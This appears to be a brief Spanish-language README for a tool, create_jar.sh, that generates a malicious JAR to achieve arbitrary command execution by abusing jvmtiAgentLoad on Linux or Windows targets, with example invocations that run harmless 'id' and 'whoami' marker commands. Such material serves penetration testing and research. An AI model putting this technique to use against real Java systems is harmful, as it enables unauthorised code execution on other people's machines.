Ejecución de código arbitrario mediante jvmtiAgentLoad

Descripción:

Herramientas y código para generar un JAR malicioso para explotar jvmtiAgentLoad

Uso:

$ bash create_jar.sh 
Usage: create_jar.sh <TARGET_OS> <COMMAND>
Supported TARGET_OS options: linux|windows

Objetivo Linux

El siguiente comando genera un JAR (mal.jar) que puede usarse en un objetivo Linux:

bash create_jar.sh linux 'id > /tmp/jvmtiLoadAgent_test'

Objetivo Windows

El siguiente comando genera un JAR (mal.jar) que se puede utilizar en un objetivo Windows:

bash create_jar.sh windows 'whoami > C:\\Users\\Public\\jvmtiLoadAgent_test.txt'

Recursos adicionales: